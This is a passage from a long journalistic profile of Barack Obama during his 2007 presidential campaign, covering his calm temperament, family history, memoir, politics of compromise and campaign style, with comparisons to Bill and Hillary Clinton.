Clinton and Obama speaking about the same subject, preventive care. “We have to change the way we finance health care, and that’s going to mean taking money away from people who make out really well right now, so this is going to be a big political battle,” Clinton said. “The insurance companies make money by employing a lot of people to try to avoid insuring you and then, if you’re insured, to try to avoid paying for the health care you received.” She stood at the front of the stage, declining an invitation to sit down next to the moderator. She spoke energetically but composedly, conveying the impression that she had spent a great deal of time preparing for the event because it was extremely important to her. “A lot of insurance companies will not pay for someone who’s pre-diabetic or been diagnosed with diabetes to go to a nutritionist to find out how better to feed themselves, or to go to a podiatrist to have their feet checked,” she said. “The insurance companies will tell you this: they don’t want to pay for preventive health care because that’s like lost money because they’re not sure that the patient will still be with them. But if they’re confronted with the doctor saying we’re going to have to amputate the foot they’re stuck with it. That is upside down and backwards!” Now here is Obama. “We’ve got to put more money in prevention,” he said. “It makes no sense for children to be going to the emergency room for treatable ailments like asthma. Twenty per cent of our patients who have chronic illnesses account for eighty per cent of the costs, so it’s absolutely critical that we invest in managing those with chronic illnesses like diabetes. If we hire a case manager to work with them to insure that they’re taking the proper treatments, then potentially we’re not going to have to spend thirty thousand dollars on a leg amputation.” A young man asked about health care for minorities. “Obesity and diabetes in minority communities are more severe,” Obama said, “so I think we need targeted programs, particularly to children in those communities, to make sure that they’ve got sound nutrition, that they have access to fruits and vegetables and not just Popeyes, and that they have decent spaces to play in instead of being cooped up in the house all day.” In the past couple of months, Obama has hosted health-care forums of his own—in New Hampshire, in Iowa. In these forums, he is tranquil and relaxed, as though on a power-conserve setting. He paces slowly, he revolves, he tilts his head. He comments in a neutral, detached way. He doesn’t express sympathy for sickness, or scorn for bureaucracy, or outrage at unfairness. He says that the system is broken and needs to be fixed, but conveys no particular urgency. This mode of his is often called professorial, and Obama himself likens these forums to the constitutional-law classes that he taught at the University of Chicago. But “professorial” implies that he seems cerebral or didactic, and he doesn’t. Despite the criticism he has received for being all inspiration and no policy, Obama has so far stuck to what appears to be an instinct that white papers belong on Web sites, not in speeches. It is surprising, given the recent electoral record of Democratic policy wonks, that he is not given more credit for the astuteness of this approach, but it’s true that it’s not just strategy—it’s who he is. “He doesn’t have the handicap that a lot of smart people have, which is that they come across as ‘You’re not smart enough to talk to me,’ ” George Haywood, a private investor and a friend of Obama’s, says. “Adlai Stevenson, another Illinois guy, had that—he came across as an egghead and it was off-putting to people. Barack is the opposite.” Probably one of the reasons for this is that Obama seems not to attach much value to cleverness as such. Even in law school, perhaps the place more than any other where sheer cleverness is prized and love of argument for its own sake is fundamental to the culture, he was not much interested in academic jousting. No, Obama’s detachment, his calm, in such small venues, is less professorial than medical—like that of a doctor who, by listening to a patient’s story without emotional reaction, reassures the patient that the symptoms are familiar to him. It is also doctorly in the sense that Obama thinks about the body politic as a whole thing. If you are presenting a problem as something that they have perpetrated on us, then whipping up outrage is natural enough; but if you take unity seriously, as Obama does, then outrage does not make sense, any more than it would make sense for a doctor to express outrage that a patient’s kidney is causing pain in his back. There is also, of course, a racial aspect to this. “If you’re a black male, you don’t have to try hard to impress people with your aggression,” Haywood says. “There was a period when black politicians started to be successful, and it was understood that if you wanted to be mainstream you’d better have gray hair. Doug Wilder was an example. David Dinkins. Mayor Bradley in L.A. To be popular with the broader white electorate, you’d better look safe, you’d better not look angry. Now, I don’t think Barack made a conscious decision to come across this way, but it is a happy accident. Some people may have seen his speech at the Democratic Convention, or heard that he rocked the house, and they may be disappointed, but the mainstream is not ready for a fire-breathing black man.” (It seems likely that, consciously or not, Obama has learned from these examples, and knows that the election of a President Obama wouldn’t mean a revolution in race relations, any more than women prime ministers were a sign of flourishing feminism in South Asia. Bigotry has always made exceptions.) Obama’s calm is also a matter of temperament. The first thing almost everybody who knows Obama says about him is how extremely comfortable he is with himself. “He was almost freakishly self-possessed and centered,” Christopher Edley, Jr., one of Obama’s professors at Harvard Law School, who is now a dean at Berkeley, says. There is something freakish about Obama’s self-possession—it’s conspicuous, it draws attention to itself, like the unnatural stillness of someone able to lower his blood pressure at will. He doesn’t strive for an Everyman quality: he is relaxed but never chummy, gracious rather than familiar. His surface is so smooth, his movements so easy and fluid, his voice so consistent and well-pitched that he can seem like an actor playing a politician, too implausibly effortless to be doing it for real. Obama has become known for his open-necked shirts—he may do to the tie what John Kennedy did to the hat—but he never looks casual. “Gore and Bush both have this jokey quality, and I’ve never seen that in Obama,” Robert Putnam, a Harvard political scientist who has spent time with all three politicians, says. “It’s not like he’s a sobersides, but Bush can be goofy, Gore can be goofy; Obama is not goofy.” What’s strange about this is that the serene man his friends describe could not be more different from the person Obama himself describes in his memoir, “Dreams from My Father.” In that book, the young Obama is confused and angry, struggling to figure out who he is, often high, wary of both white condescension and black rage, never trusting himself, always suspicious that his beliefs are just disguised egotism, his emotions just symptoms of his peculiar racial lot. Of course, the book is about his emergence from this state of mind—it’s a traditional tale of self-finding which ends, traditionally, with a wedding, in which his confusions are resolved—but the contrast between the Obama of the book and the Obama visible to the world is nonetheless so extreme as to be striking. “He was grounded, comfortable in his own skin, knew who he was, where he came from, why he believed things,” Kenneth Mack, a friend of Obama’s from Harvard and now a professor there, says. “When I read the book, I was surprised—the confusion and the anger that he described, maybe they were there below the surface, but they were not manifest at all.” Asked about this, Obama says, “You know, what puzzles me is why people are puzzled by that. That angry character lasts from the time I was fifteen to the time I was twenty-one or so. I guess my explanation is I was an adolescent male with a lot of hormones and an admittedly complicated upbringing. But that wasn’t my natural temperament. And the book doesn’t describe my entire life. I could have written an entirely different book, about the joys of basketball and what it’s like to bodysurf as the sun’s going down on a sandy beach.” Why didn’t he write a book about the joys of basketball? Why focus on an aspect of himself that seems so politically unpalatable? When Obama was in law school, just before he wrote “Dreams,” he talked about wanting to be mayor of Chicago, and since people tend for some reason to tolerate—indeed, to delight in—considerably more eccentricity and dubious conduct in mayors than they do in other elected officials, it may be that he wrote the book with that ambition in mind. He probably realized that revealing his druggy past was the best way to defuse the issue in the future. But Obama is a master storyteller, and it’s likely that he also knows that the typical story of the political candidate—doing very well in school, followed by doing very well in a profession, meanwhile relishing a good life (victory, revenge, nice house, basketball, whatever)—is not moving or inspiring stuff. When he was working as a community organizer in Chicago, Obama spoke to a number of black ministers, trying to persuade them to ally themselves with his organization, and in the course of these conversations he discovered that most had something in common. “One minister talked about a former gambling addiction,” he writes. “Another told me about his years as a successful executive and a secret drunk. They all mentioned periods of religious doubt . . . the striking bottom and shattering of pride; and then finally the resurrection of self, a self alloyed to something larger. That was the source of their confidence, they insisted: their personal fall, their subsequent redemption. It was what gave them the authority to preach the Good News.” Cassandra Butts, a friend of Obama’s from law school, remembers, “Barack used to say that one of his favorite sayings of the civil-rights movement was ‘If you cannot bear the cross, you can’t wear the crown.’ ”  Obama rose to prominence at the 2004 Democratic Convention, describing his life as a celebration of the American dream: a “skinny kid with a funny name,” the product of an improbably idealistic union between an African man and a girl from Kansas, he rose out of obscurity to attend Harvard Law School and would go on—it was by then clear—to become the third black U.S. senator since Reconstruction. But in another sense his life runs directly counter to the American dream, rejecting the American dreams of his parents and grandparents, in search of something older. Obama’s maternal grandfather, Stanley Dunham, grew up a small-time delinquent in El Dorado, Kansas. He didn’t know what he wanted to do with himself, but he knew that he wanted to get out of Kansas—out of his parents’ house, away from the airless parochialism of the small-town Midwest, where, as his grandson imagined it, “fear and lack of imagination choke your dreams so that you already know on the day that you’re born just where you’ll die and who it is that’ll bury you.” After a few false starts and eloping with a restless girl, he did what men of his type iconically do: he moved west. He moved to California, then to Seattle, and then, finally, to the last frontier, as far west as he could go without ending up east again, to Hawaii. From a starting point eight thousand miles farther east, in Kenya, Obama’s other grandfather, Hussein Onyango, moved in the same direction for similar reasons. Discontented and ambitious, he left his father’s village, curious about the new white people settling in a nearby town. He took to wearing European clothing and adopted European notions about hygiene and property with a convert’s fervor. During the Second World War, he travelled to Europe as a cook for the British Army. The children of these two men, Obama’s parents, one generation removed from their native places, were freer than their fathers. Obama’s mother, Ann, married first a man from Kenya and then, when that man left, a man from Indonesia, and when the second marriage fell apart, she briefly returned home to Hawaii to start a master’s in anthropology, and then left again for Indonesia, to spend several years doing field work. She gave her son, then thirteen, the choice whether to come with her or stay behind at his school in Hawaii, and he chose to stay. Obama’s father was expelled from school, and his father cut him off, but he managed to obtain a scholarship to attend college in America. He left his pregnant wife and his son to study econometrics at the University of Hawaii. There he met Ann Dunham, married her, and had another child, Barack. He left his second family to return to Kenya to work for the government, where he married another American woman and had two more children with her. After a few years, this third family disintegrated, and, because he was unwilling to accept the unfairness of Kenya’s persistent tribalism, so did his government position. Angry and penniless, he started to drink. “What strikes me most when I think about the story of my family,” Obama writes, “is a running strain of innocence, an innocence that seems unimaginable, even by the measures of childhood.” Innocence is not, for him, a good quality, or even a redeeming excuse: it is not the opposite of guilt but the opposite of wisdom. In Obama’s description of his maternal grandfather, for instance, there is love but also contempt. “His was an American character, one typical of men of his generation, men who embraced the notion of freedom and individualism and the open road without always knowing its price,” Obama writes. “Men who were both dangerous and promising precisely because of their fundamental innocence; men prone, in the end, to disappointment.” Stanley Dunham’s restlessness didn’t get him anywhere but far away. He ended up an incompetent, unhappy insurance salesman, his life not very different from the one he might have lived if he’d stayed in Kansas, except that, having travelled all that distance to end up there, he was all the more dissatisfied with it. His daughter saw his dissatisfaction but learned the wrong lesson: the trouble wasn’t that he had wandered in a meaningless fashion, wandering for wandering’s sake, expecting that a new place meant a new life; the trouble was that he hadn’t wandered far enough. She would go farther. “It was this desire of his to obliterate the past, this confidence in the possibility of making the world from whole cloth,” Obama writes, “that proved to be his most lasting patrimony.” Obama’s mother is, in his portrayal, an American innocent out of Henry James: a young girl who ventures into the world believing that things are as they seem to be; that a person’s story begins when she is born and her relations with other people begin when she meets them; that you can leave your home without fear of injury or loneliness because people everywhere are more or less alike. She had no idea what she was getting into when she left Hawaii—no idea that only months before she arrived Indonesia had suffered a failed but brutal coup and the killing of several hundred thousand people. Eventually, somebody told her what had happened, but the knowledge didn’t change her. “In a land where fatalism remained a necessary tool for enduring hardship,” Obama writes, “she was a lonely witness for secular humanism, a soldier for New Deal, Peace Corps, position-paper liberalism.” She had a faith, inherited from her father and resistant to experience, “that rational, thoughtful people could shape their own destiny.” She should have counted herself lucky for emerging from the experience with only a second divorce and two bewildered children. “Things could have turned out worse,” her son wrote. “Much worse.” Innocence, freedom, individualism, mobility—the belief that you can leave a constricting or violent history behind and remake yourself in a new form of your choosing—all are part of the American dream of moving west, first from the old country to America, then from the crowded cities of the East Coast to the open central plains and on to the Pacific. But this dream, to Obama, seems credulous and shallow, a destructive craving for weightlessness. When Obama, as a young man, went to Kenya for the first time and learned how his father’s life had turned out—how he had destroyed his career by imagining that old tribalisms were just pettiness, with the arrogant idea that he could rise above the past and change his society by sheer force of belief—Obama’s aunt told him that his father had never understood that, as she put it, “if everyone is family, no one is family.” Obama found this striking enough so that he repeated it later on, in italics: If everyone is family, no one is family. Universalism is a delusion. Freedom is really just abandonment. You might start by throwing off religion, then your parents, your town, your people and your way of life, and when, later on, you end up leaving your wife or husband and your child, too, it seems only a natural progression. So when it came time for Obama to leave home he reversed what his mother and father and grandparents had done: he turned around and moved east. First back to the mainland, spending two years of college in California, then farther, to New York. He ended up in Chicago, back in the Midwest, from which his mother’s parents had fled, embracing everything they had escaped—the constriction of tradition, the weight of history, the provincial smallness of community, settling for your whole life in one place with one group of people. He embraced even the dirt, the violence, and the narrowness that came with that place, because they were part of its memory. He thought about the great black migration to Chicago from the South, nearly a century before, and the traditions the migrants had made there. “I made a chain between my life and the faces I saw, borrowing other people’s memories,” he wrote. He wanted to be bound. Of course, in a sense, by choosing to leave his family and move to a place to which he had no connection, he was doing exactly what his parents had done, but, unlike them, he decided to believe that his choosing self had been shaped by fate and family. There was, at least, something organic, something inescapable about that. “I can see that my choices were never truly mine alone,” he wrote, “and that is how it should be, that to assert otherwise is to chase after a sorry sort of freedom.” Choosing was the best that he could do. In time, the roots would grow. He married Michelle Robinson, a woman who already owned the memories and the roots, who was by birth the person he was trying to become: the child of an intact, religious black family from the South Side. He took a job organizing a South Side community that was disintegrating but that he hoped, through work and inspiration, to revive. Later, rejecting the agnosticism of his parents and his own skeptical instincts, he became a Christian and joined a church. “I came to realize,” he wrote in his second book, “The Audacity of Hope,” that “without an unequivocal commitment to a particular community of faith, I would be consigned at some level to always remain apart, free in the way that my mother was free, but also alone in the same ways that she was ultimately alone.” By the time he arrived at law school, when he was twenty-seven, he had become the man he had imagined. All his life, people had considered him black because he looked black, however confused he might be inside, and now he was no longer confused. His conversion was complete. “If you had met him, you would never get that he was biracial,” Kenneth Mack says. “You would never get that he grew up in Hawaii. When I met him, he just seemed like a black guy from Chicago. He seemed like a Midwestern black man.”  The victory of freedom over history is not just, of course, an American story about individuals but also a story that America tells about itself. Obama rejects this story even in one of its most persuasive incarnations, the civil-rights movement. He calls the “spirit that would grip the nation for that fleeting period between Kennedy’s election and the passage of the Voting Rights Act: the seeming triumph of universalism over parochialism and narrow-mindedness” a “useful fiction, one that haunts me . . . evoking as it does some lost Eden.” When it seems that history has been defeated, that is only an illusion produced by charisma and rhetoric. It is, then, not surprising that when it was proposed that America should invade Iraq with the goal of establishing democracy there, Obama knew that it would be a terrible mistake. This was American innocence at its most destructive, freedom at its most deceptive, universalism at its most naïve. “There was a dangerous innocence to thinking that we would be greeted as liberators, or that with a little bit of economic assistance and democratic training you’d have a Jeffersonian democracy blooming in the desert,” he says now. “There is a running thread in American history of idealism that can express itself powerfully and appropriately, as it did after World War II with the creation of the United Nations and the Marshall Plan, when we recognized that our security and prosperity depend on the security and prosperity of others. But the same idealism can express itself in a sense that we can remake the world any way we want by flipping a switch, because we’re technologically superior or we’re wealthier or we’re morally superior. And when our idealism spills into that kind of naïveté and an unwillingness to acknowledge history and the weight of other cultures, then we get ourselves into trouble, as we did in Vietnam.” In his view of history, in his respect for tradition, in his skepticism that the world can be changed any way but very, very slowly, Obama is deeply conservative. There are moments when he sounds almost Burkean. He distrusts abstractions, generalizations, extrapolations, projections. It’s not just that he thinks revolutions are unlikely: he values continuity and stability for their own sake, sometimes even more than he values change for the good. Take health care, for example. “If you’re starting from scratch,” he says, “then a single-payer system”—a government-managed system like Canada’s, which disconnects health insurance from employment—“would probably make sense. But we’ve got all these legacy systems in place, and managing the transition, as well as adjusting the culture to a different system, would be difficult to pull off. So we may need a system that’s not so disruptive that people feel like suddenly what they’ve known for most of their lives is thrown by the wayside.” Obama’s voting record is one of the most liberal in the Senate, but he has always appealed to Republicans, perhaps because he speaks about liberal goals in conservative language. When he talks about poverty, he tends not to talk about gorging plutocrats and unjust tax breaks; he says that we are our brother’s keeper, that caring for the poor is one of our traditions. Asked whether he has changed his mind about anything in the past twenty years, he says, “I’m probably more humble now about the speed with which government programs can solve every problem. For example, I think the impact of parents and communities is at least as significant as the amount of money that’s put into education.” Obama encourages his crossover appeal. He doesn’t often criticize the Bush Administration directly; in New Hampshire recently, he told his audience, “I’m a Democrat. I’m considered a progressive Democrat. But if a Republican or a Conservative or a libertarian or a free-marketer has a better idea, I am happy to steal ideas from anybody and in that sense I’m agnostic.” “The number of conservatives who’ve called me—roommates of mine, relatives who are Republicans—who’ve said, ‘He’s the one Democrat I could support, not because he agrees with me, because he doesn’t, but because I at least think he’ll take my point of view into account,’ ” Michael Froman, a law-school friend who worked in the Clinton Administration and is now involved in Obama’s campaign, says. “That’s a big thing, mainstream Americans feeling like Northeast liberals look down on them.” After Obama’s Convention speech, Republican bloggers rushed to claim him, under headings such as “Right Speech, Wrong Convention” and “Barack Obama: A Republican Soul Trapped Inside a Democrat’s Body.” The Convention speech was uncharacteristically Reaganesque for Obama, being almost uniformly sunny about America, which he called a “magical place”; these days, he tends to be more sombre. Even so, Republicans continue to find him congenial, especially those who opposed the war on much the same conservative grounds that he did. Some of Bush’s top fund-raisers are contributing to Obama’s campaign. In his election to the U.S. Senate, Obama won forty per cent of the Republican vote; now there is a group called Republicans for Obama, founded by John Martin, a law student and Navy reservist shortly to be posted to Afghanistan, which has chapters in six states. (On its Web site, the group highlights aspects of Obama’s biography that aren’t usually emphasized, referring to his mother’s second husband as an “Indonesian oil manager,” and mentioning the year after college that Obama spent working at Business International Corporation.) Of course, not all Republicans like Obama—John Martin receives a steady stream of rude e-mails. “Hi John, Just wanted to let you know that there aren’t Republicans for Obama Hussein Barack,” one woman wrote. “Please remove me from your mailing list and get over your white guilt.” “Some Republicans you scum are!” a man from Hobe Sound, Florida, wrote. “This is someone who has a 100% left wing voting record in the Senate, including rejection of Roberts and Alito and wants to repeal our tax cuts. Screw him! And screw you too!” In the most widely quoted part of his Convention speech, Obama said, “The pundits like to slice-and-dice our country into Red States and Blue States; Red States for Republicans, Blue States for Democrats. But I’ve got news for them, too. We worship an awesome God in the Blue States, and we don’t like federal agents poking around in our libraries in the Red States.” Seasoned observers of Washington tend to dismiss such talk of national unity and bipartisan coöperation as meaningless political boilerplate. Even Obama’s allies worry that it sounds a little flaccid. “So much of what he’s said he’ll do when he’s President is about being conciliatory and bipartisan and really listening,” a friend says. “All this process-oriented stuff that’s not exactly Churchillian rhetoric.” But, coming from Obama, the talk about unity isn’t boilerplate—he actually means it, and it’s substantive, which is to say that it has consequences that make people angry. Obama is always disappointing people who feel that he gives too much respect or yields too much ground to the other side, rather than fighting aggressively for his principles. “In law school, we had a seminar together and Charles Fried, who is very conservative, was one of our speakers,” Cassandra Butts says. “The issue of the Second Amendment came up and Fried is pretty much a Second Amendment absolutist. One of our classmates was in favor of gun control—he’d come from an urban environment where guns were a big issue. And, while Barack agreed with our classmate, he was much more willing to hear Fried out—he was very moved by the fact that Fried grew up in the Soviet bloc, where they didn’t have those freedoms. After the class, our classmate was still challenging Fried and Barack was just not as passionate and I didn’t understand that.” Recently, Obama said that if Bush decided to veto a military spending bill on the ground that it included a timetable for withdrawal from Iraq, he, Obama, would support removing the timetable in order to pass the bill. Liberal bloggers were irate at this capitulation, but the writer Samantha Power, who has worked for Obama on foreign policy, says, “Standing on one side of the room with his arms folded is just not his M.O.” This is, again, partly a matter of temperament. “By nature, I’m not somebody who gets real worked up about things,” Obama writes in his second book. “When I see Ann Coulter or Sean Hannity baying across the television screen, I find it hard to take them seriously.” He tends to think of his opponents as deluded and ridiculous, rather than as demons. “I’ve never been a conspiracy theorist,” he says. “I’ve never believed there are a bunch of people out there who are pulling all the strings and pressing all the buttons. And the reason is that the older I get, the more time I spend meeting people in government or in the corporate arena, the more human everybody becomes. What I do believe is that those with money, those with influence, those with control over how resources are allocated in our society, are very protective of their interests, and they can rationalize infinitely the reasons why they should have more money and power than anyone else, why that’s somehow good for the society as a whole.” Obama’s drive to compromise goes beyond the call of political expediency—it’s instinctive, almost a tic. “Barack has an incredible ability to synthesize seemingly contradictory realities and make them coherent,” Cassandra Butts says. “It comes from going from a home where white people are nurturing you, and then you go out into the world and you’re seen as a black person. He had to figure out whether he was going to accept this contradiction and be just one of those things, or find a way to realize that these pieces make up the whole.” In the state senate, this skill served him well—he was unusually dexterous with opponents, and passed bills that at first were judged too liberal to have a chance, such as one that mandated the videotaping of police interviews with suspects arrested for capital crimes. “In our seminar, whether we were arguing about labor or religion or politics, he would sit back like a resource person and then he would say, I hear Jane saying such and such, and Tom seems to disagree on that, but then Tom and Jane both agree on this,” Robert Putnam says. (For a couple of years, Obama participated in a seminar about rebuilding community, inspired by Putnam’s article “Bowling Alone.”) “I don’t mean he makes all conflicts go away—that would be crazy. But his natural instinct is not dividing the baby in half—it’s looking for areas of convergence. This is part of who he is really deep down, and it’s an amazing skill. It’s not always the right skill: the truth doesn’t always lie somewhere in the middle. But I think at this moment America is in a situation where we agree much more than we think we do. I know this from polling data—we feel divided in racial terms, religious terms, class terms, all kinds of terms, but we exaggerate how much we disagree with each other. And that’s why I think he’s right for this time.” Even when he was very young, Obama was scornful of, as he puts it, “people who preferred the dream to the reality, impotence to compromise.” Sometimes, of course, there is no possibility of convergence—a question must be answered yes or no. In such a case, Obama may stand up for what he believes in, or he may not. “If there’s a deep moral conviction that gay marriage is wrong, if a majority of Americans believe on principle that marriage is an institution for men and women, I’m not at all sure he shares that view, but he’s not an in-your-face type,” Cass Sunstein, a colleague of Obama’s at the University of Chicago, says. “To go in the face of people with religious convictions—that’s something he’d be very reluctant to do.” This is not, Sunstein believes, due only to pragmatism; it also stems from a sense that there is something worthy of respect in a strong and widespread moral feeling, even if it’s wrong. “Rawls talks about civic toleration as a modus vivendi, a way that we can live together, and some liberals think that way,” Sunstein says. “But I think with Obama it’s more like Learned Hand when he said, ‘The spirit of liberty is the spirit which is not too sure that it is right.’ Obama takes that really seriously. I think the reason that conservatives are O.K. with him is both that he might agree with them on some issues and that even if he comes down on a different side, he knows he might be wrong. I can’t think of an American politician who has thought in that way, ever.” Obama is, in fact, committed to respecting the opinions or cultures of others even when religious beliefs aren’t involved. “There are universal values that I will fight for,” he says. “I think there may have been a time and a place in which genital mutilation was culturally appropriate, but those times are over. I’m not somebody who believes that our foreign policy has to be driven by moral relativism. What I do believe is that we have to apply judgment and a sense of proportion to how change happens in any society—to promote our ideals and our values with some sense of humility.” “Lincoln is a hero of his,” Sunstein says—Obama announced his candidacy in front of the Old State Capitol in Springfield in order to draw a connection between himself and that other skinny politician from Illinois—“and in the legal culture Lincoln is famous for believing that there are some principles that you can’t compromise in terms of speaking, but, in terms of what you do, there are pragmatic reasons and sometimes reasons of principle not to act on them. Alexander Bickel, in ‘The Least Dangerous Branch,’ made this aspect of Lincoln famous, and I don’t know if Obama has this directly from Bickel, but if he doesn’t he has it from law school.” Lincoln, Bickel wrote, “held ‘that free government was, in principle, incompatible with chattel slavery.’ . . . Yet he was no abolitionist.” Should freed slaves become the equals of white men? “The feelings of ‘the great mass of white people’ would not admit of this,” Bickel described Lincoln as thinking, “and hence here also principle would have to yield to necessity.” Lincoln wrote, “Whether this feeling accords with justice and sound judgment, is not the sole question, if indeed, it is any part of it. A universal feeling, whether well or ill-founded, can not be safely disregarded.” Obama has staked his candidacy on union—on bringing together two halves of America that are profoundly divided, and by associating himself with Lincoln—and he knows what both of those things mean. He calls America’s founding a “grand compromise”: compromise, for him, is not an eroding of principle for the sake of getting something done but a principle in itself—the certainty of uncertainty, the fundament of union. “I would save the Union,” Lincoln wrote, in a letter to Horace Greeley, the editor of the New York Tribune. “If I could save the Union without freeing any slave I would do it, and if I could save it by freeing all the slaves I would do it; and if I could save it by freeing some and leaving others alone I would also do that.” “I like to believe that for Lincoln it was never a matter of abandoning conviction for the sake of expediency,” Obama writes. “Rather . . . that we must talk and reach for common understandings, precisely because all of us are imperfect and can never act with the certainty that God is on our side.”  Obama sat leaning back in a chair in his office in Washington. He gave the impression that he would be perfectly comfortable sitting in that chair, without moving, all day. As he spoke, he waved his hand in a vague, regal gesture, like somebody absent-mindedly swatting away a fly. He talked about the aftermath of the Iraq war, how he believes that it is crucial to avoid a Vietnam-syndrome-style retreat into isolation. “There are no countries now with no security implications,” he said. “If you have ungoverned spaces, they become havens for terrorists and breeding grounds for pandemics and generate refugees that can destabilize areas that are of great interest to us. Security and humanitarian concerns are all part of one project, which is to create a world in which people see enough opportunity that they end up sharing our interest in maintaining order. . . . I would take some of the troops that we redeploy out of Iraq and use them to bolster NATO forces in Afghanistan. I think we still have the opportunity to succeed there.” Obama has become known for his skepticism about the Iraq war, but he is not a dove, nor is he averse to thinking in international terms. Two of the issues to which he has devoted the most attention since he arrived in the U.S. Senate, avian flu and nuclear nonproliferation, are grand global problems, which, while relatively uncontroversial, are nonetheless risky choices for signature issues, since, in both cases, success is invisible, and failure could mean disaster of world-changing proportions. Still, it seems that this global mode of thinking is comparatively new for him. When the first President Bush invaded Iraq, Obama was in his late twenties and thinking seriously about a career in politics, but friends from that time don’t recall his opinion of the war. “I don’t want to make claims as if I had been in a position to articulate a clear position on it,” he says. “I remember believing that Saddam’s invasion justified international action, and had I been forced to articulate a policy I’d like to think that I would have supported it once the international coalition was put together. You know, I was busy in law school at the time, or studying for the bar.” Obama had just returned to his office for an hour or so after voting on the floor of the Senate. He had spent the morning shuttling between the Senate and his office, being briefed on his schedule, chewing gum as he walked. It took him about ten minutes to make the trip each time, a delay sufficiently irritating that Obama’s assistant expended considerable effort to avoid it. That day, she had tried to book the Senate’s President’s Room for a meeting, but Hillary Clinton’s assistant had got there ahead of her. In the office reception area, crowds of people milled about, many of them unscheduled; the office had become something of a tourist attraction. Marian Wright Edelman had marshalled a group of faith leaders, parents, and sample sick children to speak with Obama for a minute or two about children’s health. About twenty rotund, middle-aged firefighters arrived and, too many to fit in the office, stood in the hallway, blocking the door. A couple of reporters from the Chicago Tribune—two of several people the paper has assigned to cover the Obama beat full time—waited on the sofa for a delayed interview. (The day had begun with a candidates’ forum sponsored by a builders’ union at which Obama was scheduled to speak after Senator Joseph Biden, and, as a consequence, a winking press aide told the reporters—we all know what happens when you speak after Joe Biden—Obama was going to be late to everything for the rest of the day.) A white father from Winnetka had brought his two sons, the elder of whom, about nine years old, begged to wait as long as it took to spot Obama for even a second. (After an hour, a receptionist suggested that they come back the following morning.) Two teen-age girls—one, from Lake Elmo, Minnesota, carrying a soda, another, wearing pink tights and carrying a frozen yogurt—stopped by, hoping for a photograph with the Senator. A receptionist gave them a black-and-white portrait from a pile she kept at her desk, and the girls squealed in delight. The girl with the soda snapped a few photographs of the reception area and the empty conference room next to it and signed the guest book. “Where are you? No picture?” she wrote, next to more conventional comments (“Good luck Your Sweet,” “My hero!,” “Thank you, you rock!”). The moment Obama’s Senate schedule ends for the week, he flies somewhere to campaign over the weekend, usually Iowa. “What an unbelievable crowd, I am so grateful to all of you for taking the time out on a Sunday afternoon to be here today.” Iowa State University, Ames, Iowa, mid-February. “Let me thank first of all the person who just introduced me, Tom Miller, who is just an outstanding attorney general.” Small town after small town, street after street of one- and two-story houses with lawns, then the commercial strip, the same everywhere, McDonald’s, Burger King, Holiday Inn, Super 8, Wal-Mart, Kmart, Super Target, and then the smaller regional stores with names that rhyme—Rib Crib, Hobby Lobby, Taco Tico, Prime N’ Wine. “I am Barack Obama and I’m running for President.” Algona High School, Algona, Iowa. Early April. “A state senate seat in the area where I lived opened up and some people I knew in the community got involved and asked me if I’d be interested,” Obama said. “I did what every black man does when confronted with a major decision like that: I prayed on it, and I asked my wife.” (Laughter.) “And after consulting those two higher powers I did what every first-time candidate does, which is to talk to anyone who will listen to you. I’d go to PTA meetings, I’d go to the barbershop, I’d go to softball games, and everywhere I went I’d get the same two questions. First question: Where’d you get that funny name, Barack Obama? Although people would mispronounce it. They would call me Alabama, they called me Yo’ Mama.” (Laughter.) “But the second question was what led me to run for President. People would ask me, ‘You seem like a nice guy, you have a fancy law degree, you make a lot of money, you’ve got a beautiful, churchgoing family, why would you want to go into something dirty and nasty like politics?’ ” “He’s always wanted to be President,” Valerie Jarrett, who has been a family friend for years, ever since she hired Michelle Obama to work in Mayor Daley’s office, says. (Michelle Obama is now an executive at the University of Chicago Hospitals.) “He didn’t always admit it, but oh, absolutely. The first time he said it to me, he said, ‘I just think I have some special qualities and wouldn’t it be a shame to waste them.’ I think it was during the early part of his U.S. senatorial campaign. He said, ‘You know, I just think I have something.’ ” “Some people who knew of my activism in the community asked me would I be interested in running for that office,” Obama said in Ames. “And so I did what every wise man does when confronted with such a decision: I prayed on it, and I asked my wife.” (Laughter.) It remains to be seen how well Obama adapts himself to campaigning. It doesn’t come altogether naturally to him. Late last year, when he was thinking about whether to run, friends asked him if he was ready for a fight, if the thought got his adrenaline going, and he would say, “Yes—but I don’t know if I want the hassle.” That’s not something you imagine somebody embarking on a Presidential campaign saying—not wanting the hassle. “But that’s why he’s so likable,” a friend says. “That’s the quality people are seeing in him, they’re seeing how campaigning could be a grind.” “Bill Clinton was far more into the tactics of politics,” David Axelrod, Obama’s chief campaign adviser, says. “He was a voracious consumer of polls. Of course, he was so indefatigable that he could do that and still read four books a week and be President of the United States. You wouldn’t hire Barack to run your campaign. You might hire Bill Clinton to run your campaign.” This is not the only difference between Obama and Clinton. To compare them is to see that a political natural, as both of them are called, can mean very different things. “Bill Clinton has preternatural ability as a listener,” Robert Putnam says. “Everybody always walks away from him thinking, For the first time in my life someone has actually listened to me—that man Bill Clinton is the first person in the world to really understand me. It’s almost magical—even Newt Gingrich said something like, Every time I meet him I feel like I have to go rinse my mind out for an hour. Barack is not that good.” Putnam’s is a common reaction; it seems to be a response to Clinton’s passionate political drive, his hunger, the need he is said to have to make everybody love him. Some of this quality, in a more restrained, sublimated form, is present, too, in Hillary Clinton—in her intense desire to win people over, in her exhaustive preparation, in her willingness to give everything she is capable of for every single vote. This is not Obama’s style at all. He doesn’t seem hungry. He seems to like people but not to need them. When most politicians speak to a crowd, they give the impression that that is what they live for; Obama at town-hall meetings appears engaged but not fervently so, as if there were several other things that he would be equally happy doing that day. He still has the speechmaking power that he displayed at the 2004 Convention, but for the most part he keeps it in reserve. Even at large rallies these days he doesn’t try to overwhelm—his eyes don’t flame, his hands remain unclenched and below his shoulders, he doesn’t go for a sudden conversion experience. (Sometimes his wife, Michelle, appears onstage with him, and this further dilutes the evangelical tone: the way Obama depicts Michelle in his books and speeches makes her sound like a sitcom wife, rolling her eyes at his excesses, affectionately taking him down a peg if he becomes pompous, humorously scolding him for not picking up his socks, and so her down-to-earth, TV presence undercuts his movie uplift.) Obama is, obviously, running for President: it’s not that he isn’t hungry for converts but that his way of courting them is subtle. When his speechwriter, Jon Favreau, who in 2004 wrote speeches for John Kerry, was interviewed for the job, Obama asked him what his theory of speechwriting was. “I didn’t have a grand theory in my pocket,” Favreau says, “but I told him, When I saw you at the Convention what really struck me was that you told a story from the beginning to the end of that speech—a story about your life, about how it fit in with the larger American story—and it built to a point where people wanted to applaud, rather than using forced applause lines. Democrats just haven’t done that. And Barack said, That’s exactly what I try to do.” That is Obama’s theory of speeches, and it seems, also, 